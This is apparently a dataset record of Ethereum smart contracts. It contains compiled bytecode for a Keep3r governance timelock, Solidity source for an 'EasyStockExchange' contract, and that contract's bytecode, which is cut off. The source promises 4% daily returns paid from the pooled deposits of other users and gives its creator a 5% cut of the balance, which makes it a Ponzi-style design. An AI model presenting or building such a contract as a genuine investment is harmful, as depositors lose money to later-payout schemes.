b505050505086600201546127ff565b60010161109a565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c836040516112719190613879565b60405180910390a1505050565b6006546001600160a01b031681565b60007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee86866040516020016112c493929190613882565b60405160208183030381529060405280519060200120905060007fe9b72f5ebde66f404fbae13858c7df44bacaf79fc3ee3529b72b1008265bdb4d826040516020016113119291906136fe565b60405160208183030381529060405280519060200120905060006001828787876040516000815260200160405260405161134e949392919061389a565b6020604051602081039080840390855afa158015611370573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166113a35760405162461bcd60e51b8152600401610a2690613f20565b6113ae818989612558565b5050505050505050565b6006546001600160a01b031633146113e25760405162461bcd60e51b8152600401610a2690614570565b6040516355ea6c4760e01b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd116906355ea6c479061142e90849060040161375c565b600060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b5050505050565b6006546001600160a01b0316331461148d5760405162461bcd60e51b8152600401610a2690613d3e565b60405163325da1f760e11b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd116906364bb43ee9061142e90849060040161375c565b60055481565b60015481565b6006546001600160a01b0316331461150f5760405162461bcd60e51b8152600401610a26906140c9565b6040516374a8f10360e01b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd116906374a8f1039061142e90849060040161375c565b6007546001600160a01b031681565b600a90565b62278d0081565b6006546001600160a01b031633146115a05760405162461bcd60e51b8152600401610a2690613b6b565b604051638071198960e01b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063807119899061142e90849060040161375c565b6006546001600160a01b031633146116165760405162461bcd60e51b8152600401610a2690613d8a565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b3330146116575760405162461bcd60e51b8152600401610a26906146dc565b6127108111156116795760405162461bcd60e51b8152600401610a2690613a04565b600155565b6007546001600160a01b031633146116a85760405162461bcd60e51b8152600401610a2690613f6c565b600754600680546001600160a01b0319166001600160a01b03909216919091179055565b6006546001600160a01b031633146116f65760405162461bcd60e51b8152600401610a2690613c53565b60405163ab033ea960e01b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063ab033ea99061142e90849060040161375c565b6201518081565b6000610b4f612710610b496001547f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd16001600160a01b03166344d96e956040518163ffffffff1660e01b815260040160206040518083038186803b158015610b0b57600080fd5b6006546001600160a01b031633146117da5760405162461bcd60e51b8152600401610a2690614385565b604051635b00381560e11b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063b600702a9061142e90849060040161375c565b6006546001600160a01b031633146118505760405162461bcd60e51b8152600401610a2690613ed4565b604051632edca7d760e21b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063bb729f5c9061142e90849060040161375c565b60005481565b6212750081565b3330146118c85760405162461bcd60e51b8152600401610a26906146dc565b6127108111156118ea5760405162461bcd60e51b8152600401610a26906141a0565b600055565b6006546001600160a01b031633146119195760405162461bcd60e51b8152600401610a269061395a565b60405163314662af60e21b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063c5198abc9061142e90849060040161375c565b6006546001600160a01b0316331461198f5760405162461bcd60e51b8152600401610a2690613e8c565b60405163019cd41160e71b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063ce6a0880906119dd9085908590600401613770565b600060405180830381600087803b1580156119f757600080fd5b505af1158015611a0b573d6000803e3d6000fd5b505050505050565b6006546001600160a01b03163314611a3d5760405162461bcd60e51b8152600401610a269061410c565b60405163d8ae6faf60e01b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063d8ae6faf906119dd9085908590600401613770565b60025481565b6000611a9b611749565b6001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd11663782d6fe133611ad64360016127bd565b6040518363ffffffff1660e01b8152600401611af3929190613770565b60206040518083038186803b158015611b0b57600080fd5b505afa158015611b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b4391906134f7565b1015611b615760405162461bcd60e51b8152600401610a2690613ad7565b84518651148015611b73575083518651145b8015611b80575082518651145b611b9c5760405162461bcd60e51b8152600401610a269061399d565b8551611bba5760405162461bcd60e51b8152600401610a2690613bb1565b611bc261156a565b86511115611be25760405162461bcd60e51b8152600401610a269061441e565b336000908152600460205260409020548015611c5f576000611c0382610e0c565b90506001816007811115611c1357fe5b1415611c315760405162461bcd60e51b8152600401610a26906138df565b6000816007811115611c3f57fe5b1415611c5d5760405162461bcd60e51b8152600401610a26906141e5565b505b611c6c8787878787612899565b979650505050505050565b336001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd11614611cbf5760405162461bcd60e51b8152600401610a2690614261565b60607f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd181600081518110611cef57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060606040518060400160405280600f81526020016e6164644a6f6228616464726573732960881b81525081600081518110611d4657fe5b6020026020010181905250606083604051602001611d64919061375c565b60405160208183030381529060405281600081518110611d8057fe5b60200260200101819052506060600081600081518110611d9c57fe5b602002602001018181525050611a0b8482858589604051602001611dc09190613719565b604051602081830303815290604052612899565b6004611ddf82610e0c565b6007811115611dea57fe5b14611e075760405162461bcd60e51b8152600401610a2690613e25565b6000818152600360205260408120600554909190611e26904290612798565b905060005b6003830154811015611fce57611fc6836003018281548110611e4957fe5b6000918252602090912001546004850180546001600160a01b039092169184908110611e7157fe5b9060005260206000200154856005018481548110611e8b57fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015611f195780601f10611eee57610100808354040283529160200191611f19565b820191906000526020600020905b815481529060010190602001808311611efc57829003601f168201915b5050505050866006018581548110611f2d57fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015611fbb5780601f10611f9057610100808354040283529160200191611fbb565b820191906000526020600020905b815481529060010190602001808311611f9e57829003601f168201915b505050505086612ae4565b600101611e2b565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda2892906112719085908490614866565b6006546001600160a01b031633146120325760405162461bcd60e51b8152600401610a269061449a565b60405163de63298d60e01b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063de63298d906119dd9085908590600401613770565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b3330146120c35760405162461bcd60e51b8152600401610a269061468b565b620151808110156120e65760405162461bcd60e51b8152600401610a2690613cea565b62278d008111156121095760405162461bcd60e51b8152600401610a2690614022565b600581905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b612144612e75565b5060008281526003602090815260408083206001600160a01b0385168452600c018252918290208251606081018452815460ff808216151583526101009091041615159281019290925260010154918101919091525b92915050565b6006546001600160a01b031633146121ca5760405162461bcd60e51b8152600401610a26906142ff565b60405163e74f823960e01b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063e74f82399061221a90869086908690600401613789565b600060405180830381600087803b15801561223457600080fd5b505af1158015612248573d6000803e3d6000fd5b50505050505050565b61271081565b60086020526000908152604090205460ff1681565b6006546001600160a01b031633146122965760405162461bcd60e51b8152600401610a2690614341565b60405163f75f9f7b60e01b81526001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169063f75f9f7b9061142e90849060040161375c565b6006546001600160a01b0316158061230457506006546001600160a01b031633145b6123205760405162461bcd60e51b8152600401610a2690614463565b600561232b82610e0c565b600781111561233657fe5b146123535760405162461bcd60e51b8152600401610a2690614623565b6000818152600360205260408120600b8101805461ff001916610100179055905b600382015481101561251c5761251382600301828154811061239257fe5b6000918252602090912001546004840180546001600160a01b0390921691849081106123ba57fe5b90600052602060002001548460050184815481106123d457fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156124625780601f1061243757610100808354040283529160200191612462565b820191906000526020600020905b81548152906001019060200180831161244557829003601f168201915b505050505085600601858154811061247657fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156125045780601f106124d957610100808354040283529160200191612504565b820191906000526020600020905b8154815290600101906020018083116124e757829003601f168201915b50505050508660020154612b54565b50600101612374565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161254c9190613879565b60405180910390a15050565b600161256383610e0c565b600781111561256e57fe5b1461258b5760405162461bcd60e51b8152600401610a2690613a4f565b60008281526003602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156125d45760405162461bcd60e51b8152600401610a269061407f565b600782015460405163782d6fe160e01b81526000916001600160a01b037f0000000000000000000000009bde098be22658d057c3f1f185e3fd4653e2fbd1169163782d6fe191612629918a9190600401613770565b60206040518083038186803b15801561264157600080fd5b505afa158015612655573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061267991906134f7565b9050831561269a5760098301546126909082612798565b60098401556126af565b600a8301546126a99082612798565b600a8401555b8154600160ff19909116811761ff0019166101008615150217835582018190556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c46906127059088908890889086906137ad565b60405180910390a1505050505050565b6000826127245750600061219a565b8282028284828161273157fe5b041461274f5760405162461bcd60e51b8152600401610a26906142be565b9392505050565b600061274f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d3a565b60008282018381101561274f5760405162461bcd60e51b8152600401610a2690613b34565b600061274f83836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f7700815250612d71565b6000858585858560405160200161281a9594939291906137d5565b60408051601f19818403018152828252805160209182012060008181526008909252919020805460ff1916905591506001600160a01b0387169082907f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8790612889908990899089908990614829565b60405180910390a3505050505050565b6000806128ae6128a7610e07565b4390612798565b905060006128c46128bd610967565b8390612798565b60028054600101905590506128d7612e95565b604051806101a001604052806002548152602001336001600160a01b03168152602001600081526020018a815260200189815260200188815260200187815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060036000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506040820151816002015560608201518160030190805190602001906129ba929190612f0a565b50608082015180516129d6916004840191602090910190612f6f565b5060a082015180516129f2916005840191602090910190612fb6565b5060c08201518051612a0e91600684019160209091019061300f565b5060e082015160078201556101008083015160088301556101208301516009830155610140830151600a830155610160830151600b90920180546101809094015160ff199094169215159290921761ff0019169215150291909117905580516020808301516001600160a01b03166000908152600490915260409081902091909155815190517f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e091612acf9133908d908d908d908d908b908b908f90614745565b60405180910390a15198975050505050505050565b600860008686868686604051602001612b019594939291906137d5565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1615612b475760405162461bcd60e51b8152600401610a2690613fbb565b611a0b8585858585612d9d565b606060008686868686604051602001612b719594939291906137d5565b60408051601f1981840301815291815281516020928301206000818152600890935291205490915060ff16612bb85760405162461bcd60e51b8152600401610a2690614155565b82612bc1612e71565b1015612bdf5760405162461bcd60e51b8152600401610a2690613bfa565b612bec8362127500612798565b612bf4612e71565b1115612c125760405162461bcd60e51b8152600401610a2690613a96565b6000818152600860205260409020805460ff191690558451606090612c38575083612c64565b858051906020012085604051602001612c529291906136b1565b60405160208183030381529060405290505b60006060896001600160a01b03168984604051612c8191906136e2565b60006040518083038185875af1925050503d8060008114612cbe576040519150601f19603f3d011682016040523d82523d6000602084013e612cc3565b606091505b509150915081612ce55760405162461bcd60e51b8152600401610a26906144df565b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051612d259493929190614829565b60405180910390a39998505050505050505050565b60008183612d5b5760405162461bcd60e51b8152600401610a2691906138cc565b506000838581612d6757fe5b0495945050505050565b60008184841115612d955760405162461bcd60e51b8152600401610a2691906138cc565b505050900390565b6000612db3600554612dad612e71565b90612798565b821015612dd25760405162461bcd60e51b8152600401610a26906145b4565b60008686868686604051602001612ded9594939291906137d5565b60408051601f19818403018152828252805160209182012060008181526008909252919020805460ff1916600117905591506001600160a01b0388169082907f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f90612e5f908a908a908a908a90614829565b60405180910390a39695505050505050565b4290565b604080516060810182526000808252602082018190529181019190915290565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215612f5f579160200282015b82811115612f5f57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612f2a565b50612f6b929150613068565b5090565b828054828255906000526020600020908101928215612faa579160200282015b82811115612faa578251825591602001919060010190612f8f565b50612f6b929150613087565b828054828255906000526020600020908101928215613003579160200282015b828111156130035782518051612ff391849160209091019061309c565b5091602001919060010190612fd6565b50612f6b929150613109565b82805482825590600052602060002090810192821561305c579160200282015b8281111561305c578251805161304c91849160209091019061309c565b509160200191906001019061302f565b50612f6b929150613126565b5b80821115612f6b5780546001600160a01b0319168155600101613069565b5b80821115612f6b5760008155600101613088565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106130dd57805160ff1916838001178555612faa565b82800160010185558215612faa5791820182811115612faa578251825591602001919060010190612f8f565b80821115612f6b57600061311d8282613143565b50600101613109565b80821115612f6b57600061313a8282613143565b50600101613126565b50805460018160011615610100020316600290046000825580601f106131695750613187565b601f0160209004906000526020600020908101906131879190613087565b50565b80356001600160a01b038116811461219a57600080fd5b600082601f8301126131b1578081fd5b81356131c46131bf8261489b565b614874565b8181529150602080830190848101818402860182018710156131e557600080fd5b60005b8481101561320c576131fa888361318a565b845292820192908201906001016131e8565b505050505092915050565b600082601f830112613227578081fd5b81356132356131bf8261489b565b818152915060208083019084810160005b8481101561320c5761325d888484358a0101613325565b84529282019290820190600101613246565b600082601f83011261327f578081fd5b813561328d6131bf8261489b565b818152915060208083019084810160005b8481101561320c576132b5888484358a0101613325565b8452928201929082019060010161329e565b600082601f8301126132d7578081fd5b81356132e56131bf8261489b565b81815291506020808301908481018184028601820187101561330657600080fd5b60005b8481101561320c57813584529282019290820190600101613309565b600082601f830112613335578081fd5b813567ffffffffffffffff81111561334b578182fd5b61335e601f8201601f1916602001614874565b915080825283602082850101111561337557600080fd5b8060208401602084013760009082016020015292915050565b60006020828403121561339f578081fd5b61274f838361318a565b6000806000606084860312156133bd578182fd5b83356133c8816148e7565b925060208401356133d8816148e7565b929592945050506040919091013590565b600080604083850312156133fb578182fd5b613405848461318a565b946020939093013593505050565b600080600080600060a0868803121561342a578081fd5b853567ffffffffffffffff80821115613441578283fd5b61344d89838a016131a1565b96506020880135915080821115613462578283fd5b61346e89838a016132c7565b95506040880135915080821115613483578283fd5b61348f89838a0161326f565b945060608801359150808211156134a4578283fd5b6134b089838a01613217565b935060808801359150808211156134c5578283fd5b506134d288828901613325565b9150509295509295909350565b6000602082840312156134f0578081fd5b5035919050565b600060208284031215613508578081fd5b5051919050565b60008060408385031215613521578182fd5b82359150613532846020850161318a565b90509250929050565b6000806040838503121561354d578182fd5b82359150602083013561355f816148fc565b809150509250929050565b600080600080600060a08688031215613581578283fd5b853594506020860135613593816148fc565b9350604086013560ff811681146135a8578384fd5b94979396509394606081013594506080013592915050565b6000815180845260208085019450808401835b838110156135f85781516001600160a01b0316875295820195908201906001016135d3565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b85811015613649578284038952613637848351613685565b9885019893509084019060010161361f565b5091979650505050505050565b6000815180845260208085019450808401835b838110156135f857815187529582019590820190600101613669565b6000815180845261369d8160208601602086016148bb565b601f01601f19169290920160200192915050565b6001600160e01b03198316815281516000906136d48160048501602087016148bb565b919091016004019392505050565b600082516136f48184602087016148bb565b9190910192915050565b61190160f01b81526002810192909252602282015260420190565b7f476f7665726e616e63653a3a70726f706f73654a6f6228293a20000000000000815260609190911b6bffffffffffffffffffffffff1916601a820152602e0190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03949094168452602084019290925215156040830152606082015260800190565b600060018060a01b038716825285602083015260a060408301526137fc60a0830186613685565b828103606084015261380e8186613685565b9150508260808301529695505050505050565b60006080825261383460808301876135c0565b82810360208401526138468187613656565b9050828103604084015261385a8186613603565b90508281036060840152611c6c8185613603565b901515815260200190565b90815260200190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b60208101600883106138c657fe5b91905290565b60006020825261274f6020830184613685565b60208082526055908201527f476f7665726e616e63653a3a70726f706f73653a206f6e65206c69766520707260408201527f6f706f73616c207065722070726f706f7365722c20666f756e6420616e20616c6060820152741c9958591e481858dd1a5d99481c1c9bdc1bdcd85b605a1b608082015260a00190565b60208082526023908201527f4b6565703272476f7665726e616e63653a3a6164644a6f623a2021677561726460408201526234b0b760e91b606082015260800190565b60208082526041908201527f476f7665726e616e63653a3a70726f706f73653a2070726f706f73616c20667560408201527f6e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6174636060820152600d60fb1b608082015260a00190565b6020808252602b908201527f476f7665726e616e63653a3a7365745468726573686f6c643a2074687265736860408201526a6f6c645f203e204241534560a81b606082015260800190565b60208082526027908201527f476f7665726e616e63653a3a5f63617374566f74653a20766f74696e672069736040820152660818db1bdcd95960ca1b606082015260800190565b602080825260339082015260008051602061490b83398151915260408201527230b739b0b1ba34b7b71034b99039ba30b6329760691b606082015260800190565b6020808252603c908201527f476f7665726e616e63653a3a70726f706f73653a2070726f706f73657220766f60408201527f7465732062656c6f772070726f706f73616c207468726573686f6c6400000000606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526026908201527f4b6565703272476f7665726e616e63653a3a72656d6f76654a6f623a2021677560408201526530b93234b0b760d11b606082015260800190565b60208082526029908201527f476f7665726e616e63653a3a70726f706f73653a206d7573742070726f7669646040820152686520616374696f6e7360b81b606082015260800190565b602080825260459082015260008051602061490b83398151915260408201527f616e73616374696f6e206861736e2774207375727061737365642074696d65206060820152643637b1b59760d91b608082015260a00190565b6020808252602a908201527f4b6565703272476f7665726e616e63653a3a736574476f7665726e616e63653a6040820152691010b3bab0b93234b0b760b11b606082015260800190565b6020808252602d908201527f4b6565703272476f7665726e616e63653a3a616363657074476f7665726e616e60408201526c31b29d1010b3bab0b93234b0b760991b606082015260800190565b60208082526034908201527f54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420656040820152733c31b2b2b21036b4b734b6bab6903232b630bc9760611b606082015260800190565b6020808252602c908201527f4b6565703272476f7665726e616e63653a3a7265766f6b654c6971756964697460408201526b3c9d1010b3bab0b93234b0b760a11b606082015260800190565b60208082526028908201527f4b6565703272476f7665726e616e63653a3a736574477561726469616e3a202160408201526733bab0b93234b0b760c11b606082015260800190565b60208082526033908201527f476f7665726e616e63653a3a63616e63656c3a2063616e6e6f742063616e63656040820152721b08195e1958dd5d1959081c1c9bdc1bdcd85b606a1b606082015260800190565b60208082526041908201527f476f7665726e616e63653a3a71756575653a2070726f706f73616c2063616e2060408201527f6f6e6c79206265207175657565642069662069742069732073756363656564656060820152601960fa1b608082015260a00190565b60208082526028908201527f4b6565703272476f7665726e616e63653a3a72656d6f7665566f7465733a202160408201526733bab0b93234b0b760c11b606082015260800190565b6020808252602c908201527f4b6565703272476f7665726e616e63653a3a7365744b656570327248656c706560408201526b391d1010b3bab0b93234b0b760a11b606082015260800190565b6020808252602c908201527f476f7665726e616e63653a3a63617374566f746542795369673a20696e76616c60408201526b6964207369676e617475726560a01b606082015260800190565b6020808252602f908201527f4b6565703272476f7665726e616e63653a3a736574477561726469616e3a202160408201526e3832b73234b733a3bab0b93234b0b760891b606082015260800190565b60208082526041908201527f476f7665726e616e63653a3a5f71756575654f725265766572743a2070726f7060408201527f6f73616c20616374696f6e20616c7265616479207175657565642061742065746060820152606160f81b608082015260a00190565b60208082526038908201527f54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e60408201527f6f7420657863656564206d6178696d756d2064656c61792e0000000000000000606082015260800190565b6020808252602a908201527f476f7665726e616e63653a3a5f63617374566f74653a20766f74657220616c726040820152691958591e481d9bdd195960b21b606082015260800190565b60208082526023908201527f4b6565703272476f7665726e616e63653a3a7265766f6b653a2021677561726460408201526234b0b760e91b606082015260800190565b60208082526029908201527f4b6565703272476f7665726e616e63653a3a6164644b50524372656469743a2060408201526810b3bab0b93234b0b760b91b606082015260800190565b6020808252603d9082015260008051602061490b83398151915260408201527f616e73616374696f6e206861736e2774206265656e207175657565642e000000606082015260800190565b60208082526025908201527f476f7665726e616e63653a3a73657451756f72756d3a2071756f72756d5f203e604082015264204241534560d81b606082015260800190565b60208082526056908201527f476f7665726e616e63653a3a70726f706f73653a206f6e65206c69766520707260408201527f6f706f73616c207065722070726f706f7365722c20666f756e6420616e20616c6060820152751c9958591e481c195b991a5b99c81c1c9bdc1bdcd85b60521b608082015260a00190565b60208082526037908201527f476f7665726e616e63653a3a70726f706f73654a6f623a206f6e6c7920564f5460408201527f45522063616e2070726f706f7365206e6577206a6f6273000000000000000000606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526022908201527f4b6565703272476f7665726e616e63653a3a736c6173683a202167756172646960408201526130b760f11b606082015260800190565b60208082526024908201527f4b6565703272476f7665726e616e63653a3a646973707574653a2021677561726040820152633234b0b760e11b606082015260800190565b6020808252602d908201527f4b6565703272476f7665726e616e63653a3a617070726f76654c69717569646960408201526c3a3c9d1010b3bab0b93234b0b760991b606082015260800190565b6020808252602c908201527f476f7665726e616e63653a3a63616e63656c3a2070726f706f7365722061626f60408201526b1d99481d1a1c995cda1bdb1960a21b606082015260800190565b60208082526025908201527f476f7665726e616e63653a3a70726f706f73653a20746f6f206d616e7920616360408201526474696f6e7360d81b606082015260800190565b6020808252601d908201527f476f7665726e616e63653a657865637574653a2021677561726469616e000000604082015260600190565b60208082526025908201527f4b6565703272476f7665726e616e63653a3a616464566f7465733a2021677561604082015264393234b0b760d91b606082015260800190565b6020808252603d9082015260008051602061490b83398151915260408201527f616e73616374696f6e20657865637574696f6e2072657665727465642e000000606082015260800190565b60208082526026908201527f476f7665726e616e63653a3a73746174653a20696e76616c69642070726f706f6040820152651cd85b081a5960d21b606082015260800190565b60208082526024908201527f4b6565703272476f7665726e616e63653a3a7265736f6c76653a2021677561726040820152633234b0b760e11b606082015260800190565b60208082526049908201527f54696d656c6f636b3a3a71756575655472616e73616374696f6e3a204573746960408201527f6d6174656420657865637574696f6e20626c6f636b206d757374207361746973606082015268333c903232b630bc9760b91b608082015260a00190565b60208082526042908201527f476f7665726e616e63653a3a657865637574653a2070726f706f73616c20636160408201527f6e206f6e6c792062652065786563757465642069662069742069732071756575606082015261195960f21b608082015260a00190565b60208082526031908201527f54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f60408201527036b290333937b6902a34b6b2b637b1b59760791b606082015260800190565b60208082526024908201527f476f7665726e616e63653a3a73657451756f72756d3a2074696d656c6f636b206040820152636f6e6c7960e01b606082015260800190565b8151151581526020808301511515908201526040918201519181019190915260600190565b8981526001600160a01b0389166020820152610120604082018190526000906147708382018b6135c0565b90508281036060840152614784818a613656565b905082810360808401526147988189613603565b905082810360a08401526147ac8188613603565b90508560c08401528460e08401528281036101008401526147cd8185613685565b9c9b505050505050505050505050565b9889526001600160a01b0397909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b6000858252608060208301526148426080830186613685565b82810360408401526148548186613685565b91505082606083015295945050505050565b918252602082015260400190565b60405181810167ffffffffffffffff8111828210171561489357600080fd5b604052919050565b600067ffffffffffffffff8211156148b1578081fd5b5060209081020190565b60005b838110156148d65781810151838201526020016148be565b83811115610a9e5750506000910152565b6001600160a01b038116811461318757600080fd5b801515811461318757600080fdfe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472a264697066735822122074e83c16a9e8a9615ad379d163405a7244ba3c50155e7bb3e585bead3d457d9e64736f6c634300060c0033
[ 38 ]
0xf2d32cfa422a4a5b7074050651ca380eb0cf0a8c
/** * * Easy Investment Contract version 2.0 * It is a copy of original Easy Investment Contract * But here a unique functions is added * * For the first time you can sell your deposit to another user!!! * */ pragma solidity ^0.4.24; contract EasyStockExchange { mapping (address => uint256) invested; mapping (address => uint256) atBlock; mapping (address => uint256) forSale; mapping (address => bool) isSale; address creator; bool paidBonus; uint256 success = 1000 ether; event Deals(address indexed _seller, address indexed _buyer, uint256 _amount); event Profit(address indexed _to, uint256 _amount); constructor () public { creator = msg.sender; paidBonus = false; } modifier onlyOnce () { require (msg.sender == creator,"Access denied."); require(paidBonus == false,"onlyOnce."); require(address(this).balance > success,"It is too early."); _; paidBonus = true; } // this function called every time anyone sends a transaction to this contract function () external payable { // if sender (aka YOU) is invested more than 0 ether if (invested[msg.sender] != 0) { // calculate profit amount as such: // amount = (amount invested) * 4% * (blocks since last transaction) / 5900 // 5900 is an average block count per day produced by Ethereum blockchain uint256 amount = invested[msg.sender] * 4 / 100 * (block.number - atBlock[msg.sender]) / 5900; // send calculated amount of ether directly to sender (aka YOU) address sender = msg.sender; sender.transfer(amount); emit Profit(sender, amount); } // record block number and invested amount (msg.value) of this transaction atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value; } /** * function add your deposit to the exchange * fee from a deals is 10% only if success * fee funds is adding to main contract balance */ function startSaleDepo (uint256 _salePrice) public { require (invested[msg.sender] > 0,"You have not deposit for sale."); forSale[msg.sender] = _salePrice; isSale[msg.sender] = true; } /** * function remove your deposit from the exchange */ function stopSaleDepo () public { require (isSale[msg.sender] == true,"You have not deposit for sale."); isSale[msg.sender] = false; } /** * function buying deposit */ function buyDepo (address _depo) public payable { require (isSale[_depo] == true,"So sorry, but this deposit is not for sale."); isSale[_depo] = false; // lock reentrance require (forSale[_depo] == msg.value,"Summ for buying deposit is incorrect."); address seller = _depo; //keep the accrued interest of sold deposit uint256 amount = invested[_depo] * 4 / 100 * (block.number - atBlock[_depo]) / 5900; invested[_depo] += amount; //keep the accrued interest of buyer deposit if (invested[msg.sender] > 0) { amount = invested[msg.sender] * 4 / 100 * (block.number - atBlock[msg.sender]) / 5900; invested[msg.sender] += amount; } // change owner deposit invested[msg.sender] += invested[_depo]; atBlock[msg.sender] = block.number; invested[_depo] = 0; atBlock[_depo] = block.number; isSale[_depo] = false; seller.transfer(msg.value * 9 / 10); //10% is fee for deal. This funds is stay at main contract emit Deals(_depo, msg.sender, msg.value); } function showDeposit(address _depo) public view returns(uint256) { return invested[_depo]; } function showUnpaidDepositPercent(address _depo) public view returns(uint256) { return invested[_depo] * 4 / 100 * (block.number - atBlock[_depo]) / 5900; } function Success () public onlyOnce { // bonus 5% to creator for successful project creator.transfer(address(this).balance / 20); } }
0x6080604052600436106100775763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663395a9ab3811461015c5780634089d22a1461017357806350d5032414610187578063a88ec6fa1461019c578063fb2898e4146101cf578063fee16841146101e7575b336000908152602081905260408120548190156101375733600090815260016020908152604080832054918390529091205461170c9143039060649060040204028115156100c157fe5b6040519190049250339150819083156108fc029084906000818181858888f193505050501580156100f6573d6000803e3d6000fd5b50604080518381529051600160a060020a038316917f5314098314219d6e1ce8e41fc5e6ec1ce2f06a9d583079fb6619af9bf6efdf41919081900360200190a25b5050336000908152600160209081526040808320439055908290529020805434019055005b34801561016857600080fd5b50610171610208565b005b610171600160a060020a03600435166103ac565b34801561019357600080fd5b50610171610680565b3480156101a857600080fd5b506101bd600160a060020a0360043516610705565b60408051918252519081900360200190f35b3480156101db57600080fd5b50610171600435610747565b3480156101f357600080fd5b506101bd600160a060020a03600435166107d4565b600454600160a060020a0316331461026a576040805160e560020a62461bcd02815260206004820152600e60248201527f4163636573732064656e6965642e000000000000000000000000000000000000604482015290519081900360640190fd5b60045474010000000000000000000000000000000000000000900460ff16156102dd576040805160e560020a62461bcd02815260206004820152600960248201527f6f6e6c794f6e63652e0000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600554303111610337576040805160e560020a62461bcd02815260206004820152601060248201527f497420697320746f6f206561726c792e00000000000000000000000000000000604482015290519081900360640190fd5b600454604051600160a060020a0390911690601430310480156108fc02916000818181858888f19350505050158015610374573d6000803e3d6000fd5b506004805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600160a060020a038116600090815260036020526040812054819060ff161515600114610449576040805160e560020a62461bcd02815260206004820152602b60248201527f536f20736f7272792c206275742074686973206465706f736974206973206e6f60448201527f7420666f722073616c652e000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600360209081526040808320805460ff19169055600290915290205434146104f0576040805160e560020a62461bcd02815260206004820152602560248201527f53756d6d20666f7220627579696e67206465706f73697420697320696e636f7260448201527f726563742e000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600160209